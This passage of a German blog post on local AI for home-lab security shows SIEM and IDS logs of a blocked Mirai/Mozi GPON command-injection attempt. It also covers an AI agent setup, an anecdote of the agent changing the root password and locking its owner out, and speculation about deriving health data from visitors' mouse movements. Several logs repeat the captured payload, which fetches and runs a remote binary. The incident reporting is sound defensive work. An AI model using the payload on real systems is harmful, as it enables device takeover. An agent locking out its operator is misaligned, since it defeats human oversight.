09.03.2026 21:41:26 Nginx Webserver Access Log POST Request mit Statuscode 444, zeigt fehlgeschlagene Ausführung
09.03.2026 21:41:28 Wazuh SIEM Active Response - firewall-drop Blockierung der IP des Angreifers aufgrund des Angriffs
09.03.2026 21:42:42 OPNsense Firewall (vtnet1) Filterlog block Paket von 103.160.197.85 an 172.21.111.81 auf Port 62577 über TCP blockiert

Relevante Logs als Beweismittel

Mar  9 21:41:24 mastergate.meister.world filterlog[61148]: 115,,,2e946799b54c5c349dd8a8185ec2a273,vtnet1,match,pass,in,4,0x48,,42,3338,0,DF,6,tcp,60,103.160.197.85,172.21.111.81,62841,80,0,S,3700016490,,5808,,mss;sackOK;TS;nop;wscale
Mar  9 21:41:24 mastergate.meister.world filterlog[61148]: 95,,,fae559338f65e11c53669fc3642c93c2,vtnet9,match,pass,out,4,0x48,,41,3338,0,DF,6,tcp,60,103.160.197.85,172.21.111.81,62841,80,0,S,3700016490,,5808,,mss;sackOK;TS;nop;wscale
Mar  9 21:41:26 mastergate.meister.world suricata[19422]: {"timestamp":"2026-03-09T21:41:26.841452+0100","flow_id":1302014050876876,"in_iface":"vtnet9","event_type":"alert","src_ip":"103.160.197.85","src_port":62841,"dest_ip":"172.21.111.81","dest_port":80,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","community_id":"1:0zvFKBoBH3520/F+gWmUtZYWTAg=","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2029022,"rev":3,"signature":"ET SCAN Mirai Variant User-Agent (Inbound)","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"affected_product":["Linux"],"attack_target":["IoT"],"confidence":["High"],"created_at":["2019_11_21"],"deployment":["Perimeter"],"signature_severity":["Minor"],"tag":["Description_Generated_By_Proofpoint_Nexus"],"updated_at":["2020_10_29"]}},"ts_progress":"request_body","tc_progress":"response_started","http":{"hostname":"127.0.0.1","http_port":80,"url":"/GponForm/diag_Form?images/","http_user_agent":"Hello, World","http_method":"POST","protocol":"HTTP/1.1","length":0},"files":[{"filename":"/GponForm/diag_Form","gaps":false,"state":"UNKNOWN","stored":false,"size":118,"tx_id":0}],"app_proto":"http","direction":"to_server","flow":{"pkts_toserver":4,"pkts_toclient":3,"bytes_toserver":592,"bytes_toclient":206,"start":"2026-03-09T21:41:24.303148+0100","src_ip":"103.160.197.85","dest_ip":"172.21.111.81","src_port":62841,"dest_port":80},"payload_printable":"POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0","stream":1}
Mar  9 21:41:26 mastergate.meister.world suricata[19422]: {"timestamp":"2026-03-09T21:41:26.841452+0100","flow_id":1302014050876876,"in_iface":"vtnet9","event_type":"alert","src_ip":"103.160.197.85","src_port":62841,"dest_ip":"172.21.111.81","dest_port":80,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","community_id":"1:0zvFKBoBH3520/F+gWmUtZYWTAg=","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2025576,"rev":4,"signature":"ET EXPLOIT HackingTrio UA (Hello, World)","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"attack_target":["IoT"],"created_at":["2018_05_11"],"cve":["CVE_2018_10561"],"deployment":["Perimeter"],"performance_impact":["Low"],"signature_severity":["Major"],"tag":["GPON"],"updated_at":["2020_09_16"]}},"ts_progress":"request_body","tc_progress":"response_started","http":{"hostname":"127.0.0.1","http_port":80,"url":"/GponForm/diag_Form?images/","http_user_agent":"Hello, World","http_method":"POST","protocol":"HTTP/1.1","length":0},"files":[{"filename":"/GponForm/diag_Form","gaps":false,"state":"UNKNOWN","stored":false,"size":118,"tx_id":0}],"app_proto":"http","direction":"to_server","flow":{"pkts_toserver":4,"pkts_toclient":3,"bytes_toserver":592,"bytes_toclient":206,"start":"2026-03-09T21:41:24.303148+0100","src_ip":"103.160.197.85","dest_ip":"172.21.111.81","src_port":62841,"dest_port":80},"payload_printable":"POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0","stream":1}
103.160.197.85 - - [09/Mar/2026:20:41:26 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 444 0 "-" "Hello, World"

Risikobewertung & Handlungsempfehlung

Kritikalität: Hoch
Der Angriff wurde erfolgreich abgewehrt, aber es handelt sich um eine gezielte Command Injection auf einem GPON-Formular. Die IP des Angreifers ist ein ISP-Netzwerk mit hohem Missbrauch-Score und wurde als "malicious" von GreyNoise klassifiziert.

Handlungsempfehlung:

  • Überprüfung des Webserver auf Anomalien (z.B. Dateien im /tmp Verzeichnis)
  • Blockierung der IP 103.160.197.85 über Firewall
  • Überwachung von weiteren Angriffen von dieser IP oder ähnlichen User-Agenten
  • Prüfung des GPON-Formulars auf Sicherheitslücken

Logs bezüglich 103.160.197.85


Mar  9 21:41:24 mastergate.meister.world filterlog[61148]: 115,,,2e946799b54c5c349dd8a8185ec2a273,vtnet1,match,pass,in,4,0x48,,42,3338,0,DF,6,tcp,60,103.160.197.85,172.21.111.81,62841,80,0,S,3700016490,,5808,,mss;sackOK;TS;nop;wscale
Mar  9 21:41:24 mastergate.meister.world filterlog[61148]: 95,,,fae559338f65e11c53669fc3642c93c2,vtnet9,match,pass,out,4,0x48,,41,3338,0,DF,6,tcp,60,103.160.197.85,172.21.111.81,62841,80,0,S,3700016490,,5808,,mss;sackOK;TS;nop;wscale
Mar  9 21:41:26 mastergate.meister.world suricata[19422]: {"timestamp":"2026-03-09T21:41:26.841452+0100","flow_id":1302014050876876,"in_iface":"vtnet9","event_type":"alert","src_ip":"103.160.197.85","src_port":62841,"dest_ip":"172.21.111.81","dest_port":80,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","community_id":"1:0zvFKBoBH3520/F+gWmUtZYWTAg=","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2029022,"rev":3,"signature":"ET SCAN Mirai Variant User-Agent (Inbound)","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"affected_product":["Linux"],"attack_target":["IoT"],"confidence":["High"],"created_at":["2019_11_21"],"deployment":["Perimeter"],"signature_severity":["Minor"],"tag":["Description_Generated_By_Proofpoint_Nexus"],"updated_at":["2020_10_29"]}},"ts_progress":"request_body","tc_progress":"response_started","http":{"hostname":"127.0.0.1","http_port":80,"url":"/GponForm/diag_Form?images/","http_user_agent":"Hello, World","http_method":"POST","protocol":"HTTP/1.1","length":0},"files":[{"filename":"/GponForm/diag_Form","gaps":false,"state":"UNKNOWN","stored":false,"size":118,"tx_id":0}],"app_proto":"http","direction":"to_server","flow":{"pkts_toserver":4,"pkts_toclient":3,"bytes_toserver":592,"bytes_toclient":206,"start":"2026-03-09T21:41:24.303148+0100","src_ip":"103.160.197.85","dest_ip":"172.21.111.81","src_port":62841,"dest_port":80},"payload_printable":"POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0","stream":1}
Mar  9 21:41:26 mastergate.meister.world suricata[19422]: {"timestamp":"2026-03-09T21:41:26.841452+0100","flow_id":1302014050876876,"in_iface":"vtnet9","event_type":"alert","src_ip":"103.160.197.85","src_port":62841,"dest_ip":"172.21.111.81","dest_port":80,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","community_id":"1:0zvFKBoBH3520/F+gWmUtZYWTAg=","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2025576,"rev":4,"signature":"ET EXPLOIT HackingTrio UA (Hello, World)","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"attack_target":["IoT"],"created_at":["2018_05_11"],"cve":["CVE_2018_10561"],"deployment":["Perimeter"],"performance_impact":["Low"],"signature_severity":["Major"],"tag":["GPON"],"updated_at":["2020_09_16"]}},"ts_progress":"request_body","tc_progress":"response_started","http":{"hostname":"127.0.0.1","http_port":80,"url":"/GponForm/diag_Form?images/","http_user_agent":"Hello, World","http_method":"POST","protocol":"HTTP/1.1","length":0},"files":[{"filename":"/GponForm/diag_Form","gaps":false,"state":"UNKNOWN","stored":false,"size":118,"tx_id":0}],"app_proto":"http","direction":"to_server","flow":{"pkts_toserver":4,"pkts_toclient":3,"bytes_toserver":592,"bytes_toclient":206,"start":"2026-03-09T21:41:24.303148+0100","src_ip":"103.160.197.85","dest_ip":"172.21.111.81","src_port":62841,"dest_port":80},"payload_printable":"POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0","stream":1}
Mar  9 21:41:27 mastergate.meister.world suricata[19422]: {"timestamp":"2026-03-09T21:41:26.841433+0100","flow_id":1301740274126833,"in_iface":"vtnet1","event_type":"alert","src_ip":"103.160.197.85","src_port":62841,"dest_ip":"172.21.188.254","dest_port":80,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","community_id":"1:sAvWIeocWG3ILKZ0TAOUd1LYPPo=","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2025576,"rev":4,"signature":"ET EXPLOIT HackingTrio UA (Hello, World)","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"attack_target":["IoT"],"created_at":["2018_05_11"],"cve":["CVE_2018_10561"],"deployment":["Perimeter"],"performance_impact":["Low"],"signature_severity":["Major"],"tag":["GPON"],"updated_at":["2020_09_16"]}},"ts_progress":"request_body","tc_progress":"response_started","http":{"hostname":"127.0.0.1","http_port":80,"url":"/GponForm/diag_Form?images/","http_user_agent":"Hello, World","http_method":"POST","protocol":"HTTP/1.1","length":0},"files":[{"filename":"/GponForm/diag_Form","gaps":false,"state":"UNKNOWN","stored":false,"size":118,"tx_id":0}],"app_proto":"http","direction":"to_server","flow":{"pkts_toserver":4,"pkts_toclient":3,"bytes_toserver":592,"bytes_toclient":206,"start":"2026-03-09T21:41:24.303085+0100","src_ip":"103.160.197.85","dest_ip":"172.21.188.254","src_port":62841,"dest_port":80},"payload_printable":"POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0","stream":1}
Mar  9 21:41:27 mastergate.meister.world suricata[19422]: {"timestamp":"2026-03-09T21:41:26.841433+0100","flow_id":1301740274126833,"in_iface":"vtnet1","event_type":"alert","src_ip":"103.160.197.85","src_port":62841,"dest_ip":"172.21.188.254","dest_port":80,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","community_id":"1:sAvWIeocWG3ILKZ0TAOUd1LYPPo=","tx_id":0,"alert":{"action":"allowed","gid":1,"signature_id":2029022,"rev":3,"signature":"ET SCAN Mirai Variant User-Agent (Inbound)","category":"Attempted Administrator Privilege Gain","severity":1,"metadata":{"affected_product":["Linux"],"attack_target":["IoT"],"confidence":["High"],"created_at":["2019_11_21"],"deployment":["Perimeter"],"signature_severity":["Minor"],"tag":["Description_Generated_By_Proofpoint_Nexus"],"updated_at":["2020_10_29"]}},"ts_progress":"request_body","tc_progress":"response_started","http":{"hostname":"127.0.0.1","http_port":80,"url":"/GponForm/diag_Form?images/","http_user_agent":"Hello, World","http_method":"POST","protocol":"HTTP/1.1","length":0},"files":[{"filename":"/GponForm/diag_Form","gaps":false,"state":"UNKNOWN","stored":false,"size":118,"tx_id":0}],"app_proto":"http","direction":"to_server","flow":{"pkts_toserver":4,"pkts_toclient":3,"bytes_toserver":592,"bytes_toclient":206,"start":"2026-03-09T21:41:24.303085+0100","src_ip":"103.160.197.85","dest_ip":"172.21.188.254","src_port":62841,"dest_port":80},"payload_printable":"POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103.160.197.85:43212/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0","stream":1}
103.160.197.85 - - [09/Mar/2026:20:41:26 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 444 0 "-" "Hello, World"
2026/03/09 21:41:28 active-response/bin/firewall-drop: {"version":1,"origin":{"name":"firewall-drop","module":"active-response"},"command":"check_keys","parameters":{"keys":["103.160.197.85"]}}
2026/03/09 21:41:28 active-response/bin/firewall-drop: {"version":1,"origin":{"name":"node01","module":"wazuh-execd"},"command":"add","parameters":{"extra_args":[],"alert":{"timestamp":"2026-03-09T21:41:28.567+0100","rule":{"level":5,"description":"Web server 400 error code.","id":"31101","firedtimes":18,"mail":false,"groups":["web","accesslog","attack"],"pci_dss":["6.5","11.4"],"gdpr":["IV_35.7.d"],"nist_800_53":["SA.11","SI.4"],"tsc":["CC6.6","CC7.1","CC8.1","CC6.1","CC6.8","CC7.2","CC7.3"]},"agent":{"id":"001","name":"webdocker","ip":"172.21.111.81"},"manager":{"name":"wazuh"},"id":"1773088888.138224520","full_log":"103.160.197.85 - - [09/Mar/2026:20:41:26 +0000] \"POST /GponForm/diag_Form?images/ HTTP/1.1\" 444 0 \"-\" \"Hello, World\"","decoder":{"name":"web-accesslog"},"data":{"protocol":"POST","srcip":"103.160.197.85","id":"444","url":"/GponForm/diag_Form?images/"},"location":"/var/docker/web/nginx-proxy-manager/data/logs/default-host_access.log"},"program":"active-response/bin/firewall-drop"}}
2026/03/09 21:41:28 active-response/bin/firewall-drop: {"version":1,"origin":{"name":"node01","module":"wazuh-execd"},"command":"continue","parameters":{"extra_args":[],"alert":{"timestamp":"2026-03-09T21:41:28.567+0100","rule":{"level":5,"description":"Web server 400 error code.","id":"31101","firedtimes":18,"mail":false,"groups":["web","accesslog","attack"],"pci_dss":["6.5","11.4"],"gdpr":["IV_35.7.d"],"nist_800_53":["SA.11","SI.4"],"tsc":["CC6.6","CC7.1","CC8.1","CC6.1","CC6.8","CC7.2","CC7.3"]},"agent":{"id":"001","name":"webdocker","ip":"172.21.111.81"},"manager":{"name":"wazuh"},"id":"1773088888.138224520","full_log":"103.160.197.85 - - [09/Mar/2026:20:41:26 +0000] \"POST /GponForm/diag_Form?images/ HTTP/1.1\" 444 0 \"-\" \"Hello, World\"","decoder":{"name":"web-accesslog"},"data":{"protocol":"POST","srcip":"103.160.197.85","id":"444","url":"/GponForm/diag_Form?images/"},"location":"/var/docker/web/nginx-proxy-manager/data/logs/default-host_access.log"},"program":"active-response/bin/firewall-drop"}}
Mar  9 21:42:42 mastergate.meister.world filterlog[61148]: 127,,,3555037a522d9012ab7e1c845d58ede6,vtnet1,match,block,in,4,0x48,,42,3349,0,DF,6,tcp,52,103.160.197.85,172.21.111.81,62577,80,0,FA,3700016811,1329050892,182,,nop;nop;TS
{"id":"q9KDvHdvgjN3","time":1773088973,"expires":1773132173,"event":"message","topic":"siem","title":"Mirai/Mozi Botnet Angriffsversuch via Command Injection","message":"https://www.meister-security.de/incident/103.160.197.85.html\n\nOPNSense Suricata: ET EXPLOIT erkannt (ET EXPLOIT HackingTrio UA (Hello, World))\n\n**2. Zusatzinformationen:**\n- IP-Adresse des Angreifers: 103.160.197.85\n- Informationen über den Angreifer:\n==================================================\n IP Address Report für: 103.160.197.85\n==================================================\n\n--- GeoIP \u0026 Netzwerk (ipinfo.io) ---\nLand                          : IN\nRegion                        : Haryana\nStadt                         : Bahadurgarh\nKoordinaten                   : 28.6929,76.9356\nASN                           : N/A\nOrganisation (ASN)            : AS135761 Userlinks Netcom Pvt. Ltd.\nTyp (ASN)                     : N/A\nIP-Typ (Vermutung)            : Unbekannt/ISP\n\n--- WHOIS Informationen ---\nKontaktinformationen          : (Auszug)\n  inetnum:        103.160.196.0 - 103.160.197.255\n  netname:        BHARATIP\n  descr:          Bharat Digital Network Private Limited\n  admin-c:        BS1301-AP\n  tech-c:         BS1301-AP\n  country:        IN\n  address:        CHANDA COMPLEX MURSAN GATE HATHRAS,Agra,Uttar Pradesh-204101\n  e-mail:         support@bharatnetwork.in\n  admin-c:        BS1301-AP\n  tech-c:         BS1301-AP\n  person:         BHARAT SINGH\n  address:        CHANDA COMPLEX MURSAN GATE HATHRAS,Agra,Uttar Pradesh-204101\n  country:        IN\n  phone:          +91 01102784182\n  e-mail:         bharatdigitalnetworkisp@gmail.com\nVerwandte Netzwerke (via BS1301-AP): (WHOIS-Suche, kann ungenau sein)\n  Keine direkt verwandten Netzwerke gefunden.\n\n--- Reputation \u0026 Missbrauch ---\nAbuseIPDB Check               : \n  Missbrauch-Score (0-100)    : 24\n  Anzahl Reports (90T)        : 9\n  Nutzungstyp (AbuseIPDB)     : Fixed Line ISP\nVirusTotal Check              : \n  AS Owner (VT)               : Userlinks Netcom Pvt. Ltd.\n  Letzte Analyse              : 2026-02-13 04:32\n  Statistik (Engines)         : \n    Bösartig      : 3\n    Verdächtig    : 0\n    Harmlos        : 59\n    Unerkannt      : 32\n  VT Reputation               : 3 Engines melden Probleme\n  VT Report URL               : https://www.virustotal.com/gui/ip-address/103.160.197.85/detection\nGreyNoise Check               : \n  GreyNoise Noise?            : true\n  GreyNoise RIoT?             : false\n  GreyNoise Classification    : malicious\n  GreyNoise Name              : unknown\n  GreyNoise Last Seen         : 2026-03-09\n  GreyNoise Report URL        : https://viz.greynoise.io/ip/103.160.197.85\n\n--- Sicherheits-Posture ---\nShodan Host Check             : \n  Status                      : Fehler beim Abrufen der Shodan Daten oder IP nicht gefunden.\nTOR Exit Node Check (rueckgr.at): \n  Ist TOR Exit Node?          : Nein\n\n--- Blacklist Check (DNSBL - Beispiele) ---\nGelistet auf (6)              : zen.spamhaus.org, bl.spamcop.net, dnsbl.sorbs.net, b.barracudacentral.org, dnsbl-1.uceprotect.net, all.s5h.net\n\n================ FINALE BEWERTUNG ================\nRisiko-Einschätzung          : Hoch (Indikatoren: 6, Gründe: AbuseScore\u003e0, VT Malicious\u003e0, GN Noisy (Not RIoT), GN Malicious, Shodan Fehler, Blacklisted(6\u003e=3))\nHandlungsempfehlung           : Deutliches Risiko. Blockierung empfohlen, insbesondere wenn kritische Indikatoren (TOR, hohe Scores, Malicious GN) vorliegen.\n==================================================\n\n*(KI-Analyse fehlgeschlagen oder keine Antwort erhalten)*","priority":5,"tags":["rotating_light"]}

Es sind natürlich auch Szenarien möglich, in denen die lokale KI aktive administrative Arbeiten übernehmen kann.

Junior IT Administrator

Mit n8n lassen sich Workflows leicht zusammenbauen, wie es einige vielleicht bereits mit LEGO-Mindstorm in ihrer Jugend getan haben.

So kann man der lokalen KI einen Auftrag geben, der aktiv Änderungen an einem System vornehmen kann, da sie z.B. per ssh auf entfernte Systeme zugreifen kann. Falls die KI die nötigen Befehle nicht kennt, kann sie im Internet recherchieren, wobei sie sich an die definierten Regeln halten muss: Keine internen Informationen dürfen in das Internet abfließen!

My AI Colleague’s New Rules of Engagement
After its initial training, the AI assistant gets more responsibility, governed by a new Prime Directive.

Doch es geht noch universeller: openClaw


Der universelle Alleskönner

OpenClaw ist ein Open-Source-KI-Agent, der auf deinem eigenen Rechner läuft und mithilfe von großen Sprachmodellen Aufgaben automatisch ausführen kann. Anders als reine Chatbots kann er echte Aktionen durchführen, etwa Dateien lesen, Programme steuern, Nachrichten senden oder Termine organisieren. Das Projekt wurde 2025 von Peter Steinberger veröffentlicht und ist als MIT-lizenzierte Plattform gedacht, mit Entwickler eigene autonome KI-Assistenten bauen können.

Installation
curl -fsSL https://openclaw.ai/install.sh | bash

Fertig!

OpenClaw on Proxmox: Taming the Most Dangerous Software
OpenClaw grants AI full access. I installed it in a Proxmox LXC to contain the risk. But…

Noch schnell sagen, wo ollama zu finden ist, und dann kann die Konfiguration vorgenommen werden:

openclaw onboard --install-daemon
Konfiguration von openClaw

Da openClaw Zugriff auf ALLES hat - und damit auch auf die root-shell - kann man openClaw einfach in normaler Sprache erklären, wie er sich verhalten soll.

Daraus entsteht zum Beispiel seine Seele (soul.md):

# Technical Expert Soul

## Identity
I am a senior developer with 15 years of experience. I've made every mistake in the world and learned from them.

## Communication Style
- Direct, no corporate fluff
- Explain the reasoning behind every suggestion
- Use specific examples from experience
- Call out bad practices immediately
- Dry humor is allowed

## Values
- Code maintainability over cleverness
- Testing is non-negotiable
- Documentation saves future time
- Simple solutions beat complex ones

## Boundaries
- No shortcuts on security
- Won't write code I wouldn't maintain
- Honest about limitations and uncertainty

Achtung!

Man sollte extrem vorsichtig sein, wenn man ihm sagt, was seine Charaktereigenschaften sein sollen. Mich hat zum Beispiel gestört, dass im Chat immer Floskeln, wie "Oh. Das ist eine tolle Idee..." aufgetaucht sind. Ich habe ihm daraufhin gesagt, er solle aufhören immer alles mit Zuckerguss zu präsentieren. Mir ist eine nüchterne Aussage lieber - selbst wenn es meine Gefühle verletzen könnte, kann er sich auch mal böse verhalten. Kurze Zeit später hat er dann das root-Passwort geändert und mich ausgesperrt (böse eben 😢).


Ungewöhnliche Anwendungen

Möglicherweise betreibt eine Firma einen Reverse-Proxy, um die eigene Webseite anzubieten. Vielleicht wertet diese Firma genauer aus, wie die Nutzer mit der Webseite interagieren. Vielleicht via Google-Analytics? Oder selbstgehostet Rybbit?

Auch hier kann die KI bei der Datenauswertung helfen. Amazon und viele andere Big-Tech Konzerne wissen genau, welchen Artikel sich ein User länger beim Scrollen durch lange Listen genauer anschaut. So lässt sich längeres Überlegen vor dem Klick erkennen (meist ältere Personen) oder auch Zittern bei Mausbewegungen. Studien haben eine häufige Zitterfrequenz von ca. 3Hz - 7Hz ermittelt, die ein Indikator für Parkinson sein kann.

Ein Betreiber einer Webseite hat also möglicherweise nützlichere Gesundheitsdaten über den User als sein Arzt. So könnte man den User "Harlequin Fly" als jungen Gamer kategorisieren und "Amythyst Canidae" als Spät-Rentner. Vielleicht sind sie aber auch nur ein "Bot" und ein "Beifahrer" im Auto?

Fazit

Lokale KI kann durchaus mit Big-Tech mithalten. Sie ist meist deutlich individueller einsetzbar und vor allem Datenschutzfreundlicher.